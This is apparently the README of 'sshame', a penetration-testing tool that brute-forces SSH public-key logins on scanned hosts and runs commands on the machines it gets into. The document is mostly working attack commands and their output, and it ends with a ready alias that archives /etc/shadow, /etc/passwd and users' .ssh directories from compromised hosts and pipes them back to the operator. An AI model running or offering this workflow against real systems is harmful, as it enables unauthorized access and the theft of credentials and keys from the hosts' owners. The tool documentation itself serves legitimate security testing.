sshame - brute force SSH public-key authentication

Interactive tool to brute force ssh public key authentication. Primarily intended for pentration testers. Sshame can execute commands on remote hosts.


Installing from Github

Clone the source from Github:

git clone
cd sshame

Then in order to install run:

sudo python3 install

In case you want to contribute instead of install run:

sudo python3 develop

Installaling via PyPI

pip3 will install the latest release.

pip3 install sshame

Basic usage

sshame is interactive, based on

# sshame

Type help to get a list of commands:

(sshame) help

Documented commands (type help <topic>):

commands  creds  exploit  hosts  keys  resolve  session

alias  help     macro     py    record        run_script  shell
edit   history  playback  quit  run_pyscript  set         shortcuts

Add target hosts

In the sshame shell run hosts -a list-of-ip-ranges-or-hosts [-p port]:

(sshame) hosts -a -p 22
Scanning on port(s) 22
Received 877 packets, got 222 answers, remaining 34 packets
2019-08-25 19:22:15,633 sshame [I] 'Adding host (port open): 22'
2019-08-25 19:22:15,683 sshame [I] 'Adding host (port open): 22'
2019-08-25 19:22:15,686 sshame [I] 'Adding host (port open): 22'

sshame will scan the given hosts with scapy and add those, which have the port open.

To verify added hosts with TCP port open run hosts -l

Load ssh keys

Load private keys with keys -a glob_path [-p list-of-passwords]

(sshame) keys -a test/**/*key

2019-08-25 19:30:40,614 sshame [I] "Discovered 4 files in 'test/**/*key'."

Loaded 4 unique keys, ignoring 0 duplicates

-p list-of-passwords is optional in case you load encrypted private keys protected with passwords.

List loaded keys with keys -l

Test keys on hosts

To brute force which keys authenticates on which target run test_keys -u list-of-users:

(sshame) test_keys -u root admin
2019-08-25 19:34:31,900 sshame [I] 'Preparing target jobs...'
2019-08-25 19:34:31,933 sshame [I] 'Matching keys - 16 jobs scheduled'
Completed: [####################] [100.00%]
2019-08-25 19:34:56,857 sshame [I] '---------------------------------------------------------------------------'

List matching keys with creds -l:

(sshame) creds -l
[1/1/1]: ssh -i test/keys/rsa_key root@
[2/2/1]: ssh -i test/keys/dsa_key admin@

Run commands on remote hosts

To run commands on remote hosts use run_cmd -c command, e.g.:

(sshame) run_cmd -c whoami
2019-08-25 23:28:22,757 sshame [I] 'Preparing target jobs...'
2019-08-25 23:28:22,763 sshame [I] 'Executing commands - 2 jobs scheduled'
Completed: [####################] [100.00%]

Show command results

With commands -r diplay the results:

(sshame) commands -r

Pipe remote commands to a local shell

Define an alias get_files for a remote command tar -cf - /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout; exit 0 and pipe it to a local uudecode -o - |tar xzf -, with:

commands -a get_files "tar -cf -  /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout; exit 0" -p "uudecode -o - |tar xzf -"

exit 0 is to override tar's exit code in case of missing files.

Run te defined command with:

run_cmd -c get_files

The output you will find in the folder output/<host>_<port>/username/...

Session management

You may want to split wokloads into sessions. Use session name to switch between sessions. Default session is called 'default'.

Each session has its data stored in a separate sqlite db in the current directory named after the session name, e.g. default.db

(sshame) session test
